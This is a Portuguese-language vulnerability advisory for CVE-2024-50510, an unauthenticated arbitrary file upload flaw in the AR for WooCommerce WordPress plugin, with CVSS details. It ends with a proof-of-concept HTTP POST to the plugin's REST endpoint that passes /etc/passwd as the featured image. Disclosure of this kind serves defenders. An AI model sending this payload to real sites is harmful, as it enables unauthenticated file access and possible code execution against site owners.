CVE-2024-50510

AR For Woocommerce <= 6.2 - Upload Arbitrário de Arquivo Não Autenticado

Descrição

O plugin AR for WooCommerce para WordPress é vulnerável a uploads arbitrários de arquivos devido à falta de validação do tipo de arquivo em todas as versões até, e incluindo, 6.2. Isso possibilita que atacantes não autenticados façam upload de arquivos arbitrários no servidor do site afetado, o que pode permitir a execução remota de código.

Detalhes

• Tipo: plugin
• Slug: ar-for-woocommerce
• Versão Afetada: 6.2
• Pontuação CVSS: 9.8
• Classificação CVSS: Crítica
• Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50510
• Status: Ativo

POC

POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41

{"id":123,"featured_image":"/etc/passwd"}